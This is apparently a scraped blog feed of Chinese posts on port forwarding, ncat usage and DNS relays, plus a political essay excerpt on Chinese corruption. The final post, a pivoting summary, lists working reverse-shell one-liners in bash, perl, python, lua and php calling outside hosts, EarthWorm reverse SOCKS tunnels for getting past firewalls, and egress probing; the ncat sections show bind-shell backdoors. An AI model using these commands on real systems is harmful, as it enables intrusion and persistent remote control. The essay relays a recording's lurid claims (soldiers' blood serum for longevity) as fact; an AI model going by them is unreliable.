Quantcast
Channel: 看得透又看得远者prevail.ppt.cc/flUmLx ppt.cc/fqtgqx ppt.cc/fZsXUx ppt.cc/fhWnZx ppt.cc/fnrkVx ppt.cc/f2CBVx
Viewing all 20486 articles
Browse latest View live

进行端口转发的方法

$
0
0

goproxy :(下载source code or bin file)
收听端口1234并将其转发到地址“1.1.1.1”上的端口4567
./proxy tcp -p ":1234"-T tcp -P "1.1.1.1:4567"
sudo ./proxy udp -p ":53" -T udp -P "8.8.8.8:53"
参考:https://github.com/snail007/goproxy/blob/master/README_ZH.md的
普通一级UDP代理”部分。
 
gost(下载source codeand bin)ENGLISH readme
收听端口1234并将其转发到地址“1.1.1.1”上的端口4567
./gost -L tcp://:1234/1.1.1.1:4567
source
 
redir(source code)
./redir:1234 1.1.1.1:5678
仅支持linux桌面系统。


Ncat--网络工具箱里的『瑞士军刀』

$
0
0
ncat readmore
Ncat is a feature-packed networking utility which reads and writes
data across networks from the command line. Ncat was written for the
Nmap Project as a much-improved reimplementation of the venerable
Netcat.
ncat -l localhost 8080--sh-exec"ncat example.org 80"

Ncat is a general-purpose command-line tool for reading, writing, redirecting, and encrypting data across a network. It aims to be your network Swiss Army knife, handling a wide variety of security testing and administration tasks.
以前在手机上装 busybox,总听人讲到什么『瑞士军刀』。哥们儿小地方的娃,没见过大场面.

总的来说,Ncat还是对得起这个称号的,小巧但功能强悍。这里只简要地介绍下有趣的功能。
关于安装,Ncat 其实是 nmap 项目对传统的 Netcat(即 nc命令)的重写,是包含在 nmap 安装包里的,具体可参考官网。不做赘述。
安装nmap之后,ncat就出现在此:/usr/local/bin/ncat

一、Ncat 作为浏览器

命令示例:ncat -C scanme.nmap.org 80
其中 -C 是格式化选项,80 指代端口号( web 服务监听)。输出结果如下:

Ncat 访问网页

需要注意的是,该命令是以交互的方式执行的。即输入 ncat -C scanme.nmap.org 80回车后,接着继续输入 GET / HTTP/1.0,再敲击两次 回车。即可获取目标网站的 HTML 文档内容。

二、监听模式(模拟 web 服务器)

命令示例:ncat -l 8080 < hello.http
其中 hello.http 的文件内容:
HTTP/1.0 200 OK -l 即 --listen(监听)。

需要注意的是,访问一次后程序即自动退出。

三、执行命令(远程 shell)

命令示例:ncat -l 8080 --exec "/bin/echo Hello."

进一步,可以开启一个远程 shell 供其他设备连接。命令如下:
ncat -l 8022 --exec "/bin/bash -i"

Ncat 同时还支持 sh 脚本( --sh-exec )和 lua 脚本( --lua-exec 

注:以上情形均支持局域网远程访问,访问时将 IP 地址改为对应数字。

四、访问控制

  • 只允许指定客户端连接:ncat -l --allow 10.2.67.204
  • 只拒绝指定客户端连接:ncat -l --deny 10.2.67.204
  • 只允许指定网段的本地 IP:
    1. ncat -l --allow 10.2.67.0/24
    2. ncat -l --allow 10.2.67.0-255
  • 从文件中获取允许访问的地址列表:ncat -l --allowfile trusted_hosts.txt
  • 设置最大连接数为5:ncat -l --max-conns 5

五、文件传输

  • 传输单个文件
  1. 接收者监听:
    receiver$ ncat -l > outputfile
    sender$ ncat --send-only receiver_ip < inputfile
  2. 发送者监听:
    sender$ ncat -l --send-only < inputfile
    receiver$ ncat sender_ip > outputfile
  • 传输目录
receiver$ ncat -l | tar xzvf -
sender$ tar czvf - dirname | ncat --send-only receiver_ip

  • 传输磁盘镜像(压缩)
receiver$ ncat -l | bzip2 -d > sender-hda.image
sender$ cat /dev/hda | bzip2 | ncat --send-only receiver_ip

六、聊天

  • 双人聊天
host1$ ncat -l
host2$ ncat host1
  • 多人聊天
server$ ncat -l --chat
clients$ ncat server_ip

七、简易 web 服务器

  • Linux 用户:ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
  • Windows 用户:ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

八、流媒体视频

server$ $cat video.avi | ncat -l
client$ ncat server_ip | mplayer -vo x11 -cache 3000 -
-----------------

10 个例子教你学会 ncat命令


ncat是一款功能类似 cat的工具,但是是用于网络的。它是一款拥有多种功能的 CLI 工具,可以用来在网络上读、写以及重定向数据。 它被设计成可以被脚本或其他程序调用的可靠的后端工具。同时由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。
ncat既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。 由于有这么多的功能,它被誉为是网络界的瑞士军刀。 这是每个系统管理员都应该知道并且掌握它。
在大多数 Debian 发行版中,ncat是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7 / RHEL 7 的最小化安装中,ncat并不会默认被安装。 你需要用下列命令手工安装。
  1. [root@linuxtechi ~]#yum install nmap-ncat -y (在mac上,则是brew install nmap)
系统管理员可以用它来审计系统安全,用它来找出开放的端口然后保护这些端口。 管理员还能用它作为客户端来审计 Web 服务器、telnet 服务器、邮件服务器等, 通过 ncat我们可以控制发送的每个字符,也可以查看对方的回应。
我们还可以用它捕获客户端发送的数据以此来了解这些客户端是做什么的。
在本文中,我们会通过 10 个例子来学习如何使用 ncat命令。

例子: 1) 监听入站连接

通过 -l选项,ncat可以进入监听模式,使我们可以在指定端口监听入站连接。 完整的命令是这样的:
  1. $ ncat -l port_number
比如,
  1. $ ncat -l 8080
服务器就会开始在 8080 端口监听入站连接。

例子: 2) 连接远程系统

使用下面命令可以用 ncat来连接远程系统,
  1. $ ncat IP_address port_number
让我们来看个例子,
  1. $ ncat 192.168.1.10080
这会创建一个连接,连接到 IP 为 192.168.1.100 的服务器上的 80 端口,然后我们就可以向服务器发送指令了。 比如我们可以输入下面内容来获取完整的网页内容
  1. GET / HTTP/1.1
或者获取页面名称,
  1. GET / HTTP/1.1
或者我们可以通过以下方式获得操作系统指纹标识,
  1. HEAD / HTTP/1.1
这会告诉我们使用的是什么软件来运行这个 web 服务器的。

例子: 3) 连接 UDP 端口

默认情况下,ncat创建连接时只会连接 TCP 端口。 不过我们可以使用 -u选项来连接到 UDP 端口,
  1. $ ncat -l -u 1234
现在我们的系统会开始监听 UDP 的 1234 端口,我们可以使用下面的 netstat命令来验证这一点,
  1. $ netstat-tunlp |grep1234
  2. udp 000.0.0.0:12340.0.0.0:*17341/nc
  3. udp6 00:::1234:::*17341/nc
假设我们想发送或者说测试某个远程主机 UDP 端口的连通性,我们可以使用下面命令,
  1. $ ncat -v -u {host-ip}{udp-port}
比如:
  1. [root@localhost ~]# ncat -v -u 192.168.105.15053
  2. Ncat:Version6.40( http://nmap.org/ncat )
  3. Ncat:Connected to 192.168.105.150:53

例子: 4) 将 ncat作为聊天工具

ncat也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。 在服务器这端运行:
  1. $ ncat -l 8080
在远程客户端主机上运行:
  1. $ ncat 192.168.1.1008080
之后开始发送消息,这些消息会在服务器终端上显示出来。

例子: 5) 将 ncat作为代理

ncat也可以用来做代理。比如下面这个例子,
  1. $ ncat -l 8080| ncat 192.168.1.20080
所有发往我们服务器 8080 端口的连接都会自动转发到 192.168.1.200 上的 80 端口。 不过由于我们使用了管道,数据只能被单向传输。 要同时能够接受返回的数据,我们需要创建一个双向管道。 使用下面命令可以做到这点:
  1. $ mkfifo2way
  2. $ ncat -l 80800<2way| ncat 192.168.1.200801>2way
现在你可以通过 ncat代理来收发数据了。

例子: 6) 使用 ncat拷贝文件

ncat还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了 ssh/scp。 不过如果你恰好遇见个没有 ssh/scp的系统的话, 你可以用 ncat来作最后的努力。
在要接受数据的机器上启动 ncat并让它进入监听模式:
  1. $ ncat -l 8080>file.txt
现在去要被拷贝数据的机器上运行下面命令:
  1. $ ncat 192.168.1.1008080--send-only < data.txt
这里,data.txt是要发送的文件。 -–send-only选项会在文件拷贝完后立即关闭连接。 如果不加该选项, 我们需要手工按下 ctrl+c来关闭连接。
我们也可以用这种方法拷贝整个磁盘分区,不过请一定要小心。

例子: 7) 通过 ncat 创建后门

ncat 命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。 为了保护我们的系统,我们需要知道它是怎么做的。 创建后门的命令为:
  1. $ ncat -l 10000-e /bin/bash
-e标志将一个 bash 与端口 10000 相连。现在客户端只要连接到服务器上的 10000 端口就能通过 bash 获取我们系统的完整访问权限:
  1. $ ncat 192.168.1.10010000

例子: 8) 通过 ncat进行端口转发

我们通过选项 -c来用 ncat 进行端口转发,实现端口转发的语法为:
  1. $ ncat -u -l 80-c 'ncat -u -l 8080'
这样,所有连接到 80 端口的连接都会转发到 8080 端口。

例子: 9) 设置连接超时

ncat的监听模式会一直运行,直到手工终止。 不过我们可以通过选项 -w设置超时时间:
  1. $ ncat -w10192.168.1.1008080
这回导致连接 10 秒后终止,不过这个选项只能用于客户端而不是服务端。

例子: 10) 使用 -k选项强制 ncat待命

当客户端从服务端断开连接后,过一段时间服务端也会停止监听。 但通过选项 -k我们可以强制服务器保持连接并继续监听端口。 命令如下:
  1. $ ncat -l -k 8080
现在即使来自客户端的连接断了也依然会处于待命状态。

via: https://www.linuxtechi.com/nc-ncat-command-examples-linux-systems/
 

利用portfwd解决dns污染问题

$
0
0
在本地机器mac上。
git clone https://github.com/rssnsj/portfwd portfwd-by-rssnsj
cd  portfwd-by-rssnsj
cd src
make
(在当前目录,会生成可执行文件udpfwd)
sudo ./udpfwd 127.0.0.1:53 8.8.8.8:53

实际使用例子:
./exodus-vpn-bwg.sh
sudo networksetup -setdnsservers "Wi-Fi" 127.0.0.1
cd ~/portfwd-by-rssnsj/src && sudo ./udpfwd 127.0.0.1:53 8.8.8.8:53
不要关闭此terminal.

项目地址:https://github.com/rssnsj/portfwd

中國這三十年的「奇跡」,其實不在「經濟起飛」、也不在「極權升級」,而是另外一件事情:腐敗的奇跡。

$
0
0

沙葉新書寫中國腐敗的「驚心動魄」,歸納出諸如集團化、部門化、市場化、黑幫化等規律,以及「貪官品性底下、骯髒」之吃、喝、玩、賭、色等駭人奇觀,然後寫道:
我「野心勃勃」地試圖勾勒當代中國的腐敗全景。「勾勒」之後才深感我的不自量力。這個「力」還包括「想像力」。因為當代中國的腐敗,是全社會的,是各方面的,是極瘋狂的,是無底線的,是難理喻的,是超想像的;當代中國的腐敗,沒有做不到的,只有你想不到的,因為沒有人具有這樣超凡的想像力。如今連幼稚園的孩子都會給阿姨送紅包,你能想像得到嗎?在當代中國,在機關、在銀行、在軍隊、在課堂、在法庭、在病房、在超市、在菜場、在大街、在小巷……24小時,任何角落,隨時隨地都在發生腐敗。腐敗就在你眼前,腐敗就在你身旁,腐敗就在你不會懷疑之處,腐敗也在你想像不到的地方……腐敗在當今中國已經成為了行為準則,成為了生活方式,成為了政治制度一個組成部分,已經成為可以侵蝕精神生命、影響民族性格的一種「文化」!
沙葉新的誠實,已經預言了「腐敗」的超越性,那的確是他沒有見到的。遲至2018年,坊間流傳一段神秘錄音,裡頭是兩個人的對話,破解者分析,乃是「一位有留學背景的民間策士,向一位來自部隊大院的紅二代」講解世道秘聞,前者口音是潮汕人說普通話,而且大舌頭。這段錄音所透露的腐敗內容,不僅挑戰國人乃至西方的想像力,而且還給出相當直率的答案,毫不諱言中國今日的現實:
八九年中國人還有夢想,無非是左夢或右夢。今天的民眾看不到前路,感覺沒有奔頭了;
中國商人賺到1000萬元以上,必須官商勾結;賺到5000萬元以上,商人的命就不在自己手裡了;
共產主義是虛無縹緲的口號。最現實的選擇就是江澤民的「悶聲發大財」;
軍隊形成了以老鄉為基礎的幫派,最大的是山東幫與河南幫。中國人就是愛認地域和血緣。習的軍改初步打破了軍內幫派體系,作戰能力還不行;
貧富分化不可逆轉。掌握貨幣發行權的中共統治者終極思考的問題不是賺錢,而是不惜一切代價保證政權永固,並讓個人生命以更高品質活下去,活得更久;
中共統治者追求永生之術,用士兵血液提煉血清,用於消除器官移植的後遺症;
黨內有人想搞比希特勒還希特勒的統治,這是建立高科技奴隸社會的幻想;
黨國鑒於蘇聯東歐的教訓,必做兩手準備,一手是更兇狠地鎮壓,另一手是預留退路,把子女錢財轉移到外國;
中國像一艘巨輪就要撞上冰山了。誰有直升機?誰有救生艇、救生衣?大家心裡很清楚。
中國像一艘巨輪就要撞上冰山了。誰有直升機?誰有救生艇、救生衣?大家心裡很清楚。(湯森路透)
這段錄音的最大特色,是透露了以顏色標誌的一個極新穎的腐敗話語:藍金黃綠。
藍:即互聯網。通過收買臺灣香港的通信商、網路商、名人、大V、媒體,控制這些人,用金錢收買、抓小辮子、給市場給利益等等;通過網路控制港澳,控制香港這個金融中心。更重要的是通過網路控制言論,控制人們整個的精神世界,也就是洗腦。
金:金錢,往哪裡輸送利益?通過上海、昆山的臺胞,上海在廣東開廠的臺胞,主要這三個地方,故意放水讓他們免稅,到最後讓他們偷稅,給他們輸送利益,進行法律的綁架。
黃:女色。有幾個地點,是臺灣人的墳墓:昆山上海和東莞,還有澳門;香港人的墳墓,是東莞廣州澳門。因為台商愛賭,愛洗錢,港人也如此,通過賭給你輸送巨額的籌碼,讓你贏錢,也可以讓你輸得家破人亡。凡是去澳門賭的,大多數就跟著嫖。這樣就掌握了所有臺灣高官商人名人的性、吸毒、賭的醜聞,永遠威脅著你。
最後這個綠,駭人聽聞。
中共統治者追求「永生」,現在歸類於一種叫異種共生的生物技術,將「年輕血液」輸送到老年人體內可達到逆轉年齡的功效。大舌頭說:
這個在中國是很成熟的啊。這麼多年輕的當兵的,他們是第一梯隊。提煉出來的血清可以很大程度上緩解器官移植以後導致的各種複雜的症狀。你看呐,器官移植啊,有一個巨大問題,就是排異,需要吃藥。而那些藥呢是致癌物。中國器官移植有多少例?為什麼從零七年以後爆發性增長?全世界現在都跑到中國來,參與這個東西。這不重要。包括以前軍隊裡的軍醫,體系裡面的知情人,跑出海外說,也沒掀起什麼波瀾。因為這是一個世界通行的暗渠黑溝。現在中國在全世界哪方面是真正領先的?中國最大優勢是啥呀?人口啊!中國這麼強大的人口基數有多麼豐富的DNA庫啊!這些東西是世界上最頂級的統治階層真正通用的貨幣。不是錢。不是什麼飛機,遊艇。錢都是他們負責印的,他會在乎他掙多少錢?如果你懂得這種技術存在的話,假如你有這方面情報的話,你就會發現,現在社會上發生的一切事情就都可以解釋了。如果人的壽命和身體健康,是以前人的自然的生老病死只有短短的撐死了八、九十年的話,社會就會形成,自然而然地有個良性迴圈。因為生老病死這是最關鍵的一個轉輪。這是人類社會權利也好,財富也好,最核心的。如果你明白了這東西現在可以操作,而且呢是存在著很大的成功率的情況下,你就明白了為什麼有那麼一群人選擇不撒手。但是,作為臺上的領導跟以前也不一樣啦。為啥?他可能死不了啊!也就是說,他對整個會場啊,整個局面的控制能力啊,比以前強的很多。這個領導,他已經積累了三十年的籌碼。
中國的現代極權,可以說已經出現「狂人」,他們為什麼可以如此肆無忌憚?大舌頭說:
中國人的遺傳基因是選擇私欲的滿足而不是理想的實現。社會最大公約數是消滅貧困;
中國十幾億人沒有宗教信仰,只能靠血腥集權,適用於以家庭為單位的中國人像螞蟻一樣的向心力。胡錦濤之後,換薄,換習,都得走這條路;
中國農耕時代留下的政治文明受到工業文明和資訊文明的衝擊,處於上下不匹配的關鍵時期,最大的隱患是崩盤;
中國只能走民族主義,表現形式是國家集權;
北京風水壞了,四合院文化不適應現代文明的要求。解決方案有三條:一是遷都;二是將行政格局全部重新劃分;三是要建立扁平化的資訊系統和利益分配結構;
中國轉型會很困難很血腥。潮流和國運推著人走,一不小心就沉到水底或被拍到岸邊;
現在的格局必定會打破。螳螂捕蟬,黃雀在後。誰是黃雀?
這段錄音,透露所謂「長生不老技術」之際,也暴露了中共權力繼承的一個重大危機,那是從前聞所未聞。自稱「法道濟」者,在網上評論大舌頭錄音有以下分析:
如果你瞭解現在長生不老技術和器官移植技術已經發展到很高很成熟的階段的話,而且你能夠掌握實現這些技術的手段、財力和人脈,你就會明白,掌握最高權力的帝王為什麼遲遲不願放棄權力的原因。不論是誰,追求高科技條件下的生命延續以及健康長壽,本來也是人之常情;但是,問題是江澤民在垂簾聽政依然完善運轉,依然掌握著黨政軍根本大權,中共第三代到第五代的權力交接還沒有進入實質階段,遠沒有完成;而老太上皇不但沒有表現出按照事先約定好的計畫交出權力的應有意願和誠意,而且同時卻熱衷於和新一代領導分享權力,討價還價,試圖保存一部分政治權力,在這種情況下,必然會給中共高層一種惡夢的感覺,這是很自然的事。試想如果新的生命科學成果,使江澤民煥發青春,得到額外的10年甚至20年,甚至更長時間的健康與生命,那這將對中共第五代、第六代意味著什麼?
鄧小平陳雲選對了江澤民嗎?
這是不是「六四」屠殺的報應?
中國人接受這樣的統治者,難道就為了自己一點微薄的物質改善嗎?
※本文摘自作者新書《鬼推磨——魔幻三十年》。作者蘇曉康,一九四九年生於西子湖畔,少年長於京城景山腳下,青年流落中原;遂以〈洪荒啟示錄〉開篇,引領「問題性報告文學」浪潮,嘗試一度被稱做「蘇曉康體」的寫作文本,即「全景式」、「集合式」、「立體式」的「記者型報告文學」,且多為「硬碰硬」的重大題材,每每產生爆炸效應,為「新啟蒙運動」推波助瀾;繼而,領銜製作《河殤》,把社會上諸領域所討論、探索的各種命題、假說,都匯集起來,化為螢幕形象加以傳播,引起億萬人刻骨銘心的一次共振,打破電視僅為大眾文化的限制,成功地嫁接思想和視覺、激情和理性,創造一個新的電視片種,也攪起一場全球華人的「文化大討論」。一九八九年流亡海外迄今。著有《離魂歷劫自序》、《寂寞的德拉瓦灣》、《屠龍年代》等書。

利用udpxd解决dns污染问题

$
0
0
在本地机器mac上。
git clone https://github.com/TLINDEN/udpxd udpxd-by-TLINDEN
cd udpxd-by-TLINDEN
make
(会在当前目录,生成可执行文件udpxd)
sudo ./udpxd -l 127.0.0.1:53 -t 8.8.8.8:53

实际使用例子:
cd ~/gtun-by-ICKelin/bin/gtun && sudo ./gtun-darwin_amd64 -c gtun.conf
(详见https://briteming.blogspot.com/2019/09/vpn-gtun.html)

sudo route add default 192.168.1.1 && sudo route delete default && 
sudo route add default 100.64.240.1 && sudo route add vps-ip 192.168.1.1

sudo networksetup -setdnsservers "Wi-Fi" 127.0.0.1

cd ~/udpxd-by-TLINDEN &&  sudo ./udpxd -l 127.0.0.1:53 -t 8.8.8.8:53
不要关闭此terminal.

项目地址:https://github.com/TLINDEN/udpxd

相关帖子:https://briteming.blogspot.com/2019/11/portfwddns.html
-----------

UDPXD - A general purpose UDP relay/port forwarder/proxy 

There are cases, when you need to change the source ip address of a client, but can't do it in the kernel. Either because you don't have a firewall running or because it doesn't work, or because there's no firewall available.
In such cases the usual aproach is to use a port forwarder. This is a small piece of software, which opens a port on the inside, visible to the client and establishes a new connection to the intended destination, which is otherwise unreachable for the client. In fact, a port forwarder implements hiding nat or masquerading in userspace. Tools like this are also usefull for testing things, to simulate requests when the tool you need to use for the test are unable to set their source ip address (binding address).
For TCP there are LOTs of solutions available, e.g. tcpxd. Unfortunately there are not so many solutions available if you want to do port forwarding with UDP. One tool I found was udp-redirect. But it is just a dirty hack and didn't work for me. Also it doesn't track clients and is therefore not able to handle multiple clients simultaneusly.
So I decided to enhance it. The - current - result is udpxd, a "general purpose UDP relay/port forwarder/proxy". It supports multiple concurrent clients, it is able to bind to a specific source ip address and it is small and simple. Just check out the repository, enter "make" and "sudo make install" and you're done.
How does it work: I'll explain it on a concrete example. On the server where this website is running there are multiple ip addresses configured on the outside interface, because I'm using jails to separate services. One of those jail ip addresses is 78.47.130.33. Now if I want to send a DNS query to the Hetzner nameserver 213.133.98.98 from the root system (not inside the jail with the .33 ip address!), then the packet will go out with the first interface address of the system. Let's say I don't want that (either for testing or because the remote end does only allow me to use the .33 address). In this szenario I could use udpxd like this:
udpxd -l 172.16.0.3:53 -b 78.47.130.33 -t 213.133.98.98:53
The ip address 172.16.0.3 is configured on the loopback interface lo0. Now I can use dig to send a dns query to 172.16.0.3:53:
dig +nocmd +noall +answer google.de a @172.16.0.3
google.de. 135 IN A 173.194.116.151
google.de. 135 IN A 173.194.116.152
google.de. 135 IN A 173.194.116.159
google.de. 135 IN A 173.194.116.143
When we look with tcpdump on our external interface, we see:
IP 78.47.130.33.24239 > 213.133.98.98.53: 4552+ A? google.de. (27)
IP 213.133.98.98.53 > 78.47.130.33.24239: 4552 4/0/0 A 173.194.116.152,
A 173.194.116.159, A 173.194.116.143, A 173.194.116.151 (91)
And this is how the same request looks on the loopback interface:
IP 172.16.0.3.24239 > 172.16.0.3.53: 4552+ A? google.de. (27)
IP 172.16.0.3.53 > 172.16.0.3.24239: 4552 4/0/0 A 173.194.116.152,
A 173.194.116.159, A 173.194.116.143, A 173.194.116.151 (91)
As you can see, dig sent the packet to 172.16.0.3:53, udpxd took it, opened a new outgoing socket, bound to 78.47.130.33 and sent the packet with that source ip address to the hetzner nameserver. It also remembered which socket the particular client (source ip and source port) has used. Then the response came back from hetzner, udpxd took it, looked up its internal cache for the matching internal client and sent it back to it with the source ip on the loopback interface.
As I already said, udpxd is a general purpose udp port forwarder, so you can use it with almost any udp protocol. Here's another example using ntp: now I set up a tunnel between two systems, because udpxd cannot bind to any interface with port 123 while ntpd is running (ntpd binds to *.123). So on system A I have 3 udpxd's running:
udpxd -l 172.17.0.1:123 -b 78.47.130.33 -t 178.23.124.2:123
udpxd -l 172.17.0.2:123 -b 78.47.130.33 -t 5.9.29.107:123
udpxd -l 172.17.0.3:123 -b 78.47.130.33 -t 217.79.179.106:123
Here I forward ntp queries on 172.16.0.1-3:123 to the real ntp pool servers and I'm using the .33 source ip to bind for outgoing packets again. On the other system B, which is able to reach 172.17.0.0/24 via the tunnel, I reconfigured the ntpd like so:
server 172.17.0.1 iburst dynamic
server 172.17.0.2 iburst dynamic
server 172.17.0.3 iburst dynamic
After restarting, let's look how it works:
ntpq> peers
remote refid st t when poll reach delay offset jitter
==============================================================================
*172.17.0.1 131.188.3.221 2 u 12 64 1 18.999 2.296 1.395
172.17.0.2 192.53.103.104 2 u 11 64 1 0.710 1.979 0.136
172.17.0.3 130.149.17.8 2 u 10 64 1 12.073 5.836 0.089
Seems to work :), here's what we see in the tunnel interface:
14:13:32.534832 IP 10.10.10.1.123 > 172.17.0.1.123: NTPv4, Client, length 48
14:13:32.556627 IP 172.17.0.1.123 > 10.10.10.1.123: NTPv4, Server, length 48
14:13:33.535081 IP 10.10.10.1.123 > 172.17.0.2.123: NTPv4, Client, length 48
14:13:33.535530 IP 172.17.0.2.123 > 10.10.10.1.123: NTPv4, Server, length 48
14:13:34.535166 IP 10.10.10.1.123 > 172.17.0.1.123: NTPv4, Client, length 48
14:13:34.535278 IP 10.10.10.1.123 > 172.17.0.3.123: NTPv4, Client, length 48
14:13:34.544585 IP 172.17.0.3.123 > 10.10.10.1.123: NTPv4, Server, length 48
14:13:34.556956 IP 172.17.0.1.123 > 10.10.10.1.123: NTPv4, Server, length 48
14:13:35.535308 IP 10.10.10.1.123 > 172.17.0.2.123: NTPv4, Client, length 48
14:13:35.535742 IP 172.17.0.2.123 > 10.10.10.1.123: NTPv4, Server, length 48
14:13:36.535363 IP 10.10.10.1.123 > 172.17.0.1.123: NTPv4, Client, length 48
...
And the forwarded traffic on the public interface:
14:13:32.534944 IP 78.47.130.33.63956 > 178.23.124.2.123: NTPv4, Client, length 48
14:13:32.556586 IP 178.23.124.2.123 > 78.47.130.33.63956: NTPv4, Server, length 48
14:13:33.535188 IP 78.47.130.33.48131 > 5.9.29.107.123: NTPv4, Client, length 48
14:13:33.535500 IP 5.9.29.107.123 > 78.47.130.33.48131: NTPv4, Server, length 48
14:13:34.535255 IP 78.47.130.33.56807 > 178.23.124.2.123: NTPv4, Client, length 48
14:13:34.535337 IP 78.47.130.33.56554 > 217.79.179.106.123: NTPv4, Client, length 48
14:13:34.544543 IP 217.79.179.106.123 > 78.47.130.33.56554: NTPv4, Server, length 48
14:13:34.556932 IP 178.23.124.2.123 > 78.47.130.33.56807: NTPv4, Server, length 48
14:13:35.535379 IP 78.47.130.33.22968 > 5.9.29.107.123: NTPv4, Client, length 48
14:13:35.535717 IP 5.9.29.107.123 > 78.47.130.33.22968: NTPv4, Server, length 48
14:13:36.535442 IP 78.47.130.33.24583 > 178.23.124.2.123: NTPv4, Client, length 48
...
You see, the ntp server gets the time via the tunnel via udpxd which in turn forwards it to real ntp servers.
Note, if you left the parameter -b out, then the first ip address of the outgoing interface will be used.
udpxd source code and documentation is on github.
I made a couple of enhancements to udpxd:
  • added ipv6 support (see below)
  • udpxd now forks and logs to syslog if -d (-v) is specified
So the most important change is ip version 6 support. udpxd can now listen on an ipv6 address and forward to an ipv4 address (or vice versa), or listen and forward on ipv6. Examples:
Listen on ipv6 loopback and forward to ipv6 google:
udpxd -l [::1]:53 -t [2001:4860:4860::8888]:53
Listen on ipv6 loopback and forward to ipv4 google:
udpxd -l [::1]:53 -t 8.8.8.8:53
Listen on ipv4 loopback and forward to ipv6 google:
udpxd -l 127.0.0.1:53 -t [2001:4860:4860::8888]:53
Of course it is possble to set the bind ip address (-b) using ipv6 as well.
And I added a Travis-CI test, which runs successful. So, udpxd is supported on FreeBSD and Linux. I didn't test other platforms yet.

from http://www.daemon.de/blog/2015/04/22/391/udpxd-general-purpose-udp-relayport-forwarderproxy/

 

 

年代向錢看 貿易戰的關稅「分階段取消」遭華府打槍,F-35的晶片來自台積電?

$
0
0

共匪想要美国取消全部关税,真是痴人说梦。

端口转发总结

$
0
0

传统反弹与网络发现

协议的判断
主要是看能够通过什么协议出去,主要有tcp\http\dns\icmp等协议。常见判断手法如下:
tcp协议
外网vps : nc –lvp port
内网机器:nc ip port
dns协议
外网vps: nc –u –lvp 53
内网机器:
windows: nslookup www.baidu.com vps-ip
linux:dig @vps-ip www.baidu.com
http协议
外网vps : nc –lvp 80 (or 8080等)
内网机器 : curl vps-ip:8080
icmp协议
外网vps:抓包、tcpdump icmp
内网机器:直接ping
端口的判断
外网vps做监听,内网机器测试常见端口,或直接使用端口扫描器进行扫描。
常见能出去的端口有80,8080,443,53,110,123等。
额外情况–代理服务器
还有一种是机器不能直接出来的,需要进行代理设置,这种多数是为了办公网段得办公人员进行上网用的。
常用的判断手法与情况如下:
查看网络连接看是否有连接其他机器的8080(不绝对)等端口,尝试ping –n 1 –a ip
是否有hostname类似于proxy的机器
IE直接代理情况
可以通过查询注册表得到:
reg query "HKEY_USERS\[SID]\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
通过pac文件自动代理情况
reg query "HKEY_USERS\[SID]\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL
我们可以通过pac文件的路径(可能是本地路径或远程路径)将pac文件下载回来查看,例如某pac文件如下:从中我们能看到其带来服务器为172.16.10.168:8080
    function islocalip(ip) {
return isInNet(ip, "127.0.0.0", "255.0.0.0") ||
isInNet(ip, "169.254.0.0", "255.255.0.0") ||
isInNet(ip, "10.0.0.0", "255.0.0.0") ||
isInNet(ip, "192.168.0.0", "255.255.0.0") ||
}
function FindProxyForURL(url, host) {
var DefaultScanner = "PROXY 172.16.10.168:8080; DIRECT";
var target_ip = dnsResolve(host);
if (islocalip(target_ip)) {
return 'DIRECT';
} else {
return DefaultScanner;
}
}
最终我们可以利用curl进行确定:
curl        www.baidu.com      //不通 
curl –x proxy-ip:8080 www.baidu.com //通
icmp ping baidu.com
http curl -i baidu.com
tcp telnet baidu.com
dns nslookup baidu.com //当然这里不一定非要百度
其他反弹
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import pty; pty.spawn("/bin/bash")'
顺便提下
searchsploit ms17  |grep py  只匹配py脚本
searchsploit -p 41891.rb 复制完整路径并显示详细信息
searchsploit -m 41891.rb 复制到当前目录
searchsploit -w ms17-010 显示exploit-db在线结果
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

iptables

1、编辑配置文件/etc/sysctl.conf
net.ipv4.ip_forward = 1
2、关闭服务
service iptables stop
3、配置规则
需要访问的内网地址:192.168.206.101
内网边界web服务器:192.168.206.129
iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389
iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129
4、保存&&重启服务
service iptables save && service iptables start

EarthWorm[绕防火墙]

http://rootkiter.com/EarthWorm/
  1. 正向 SOCKS v5 服务器
    $ ./ew -s ssocksd -l 1080
  2. 反弹 SOCKS v5 服务器
    这个操作具体分两步:
    a) 先在一台具有公网 ip 的主机A上运行以下命令:
     $ ./ew -s rcsocks -l 1080 -e 8888 
    b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
     $ ./ew -s rssocks -d 1.1.1.1 -e 8888 
  3. 多级级联
工具中自带的三条端口转发指令,
它们的参数格式分别为:
$ ./ew -s lcx_listen -l  1080   -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
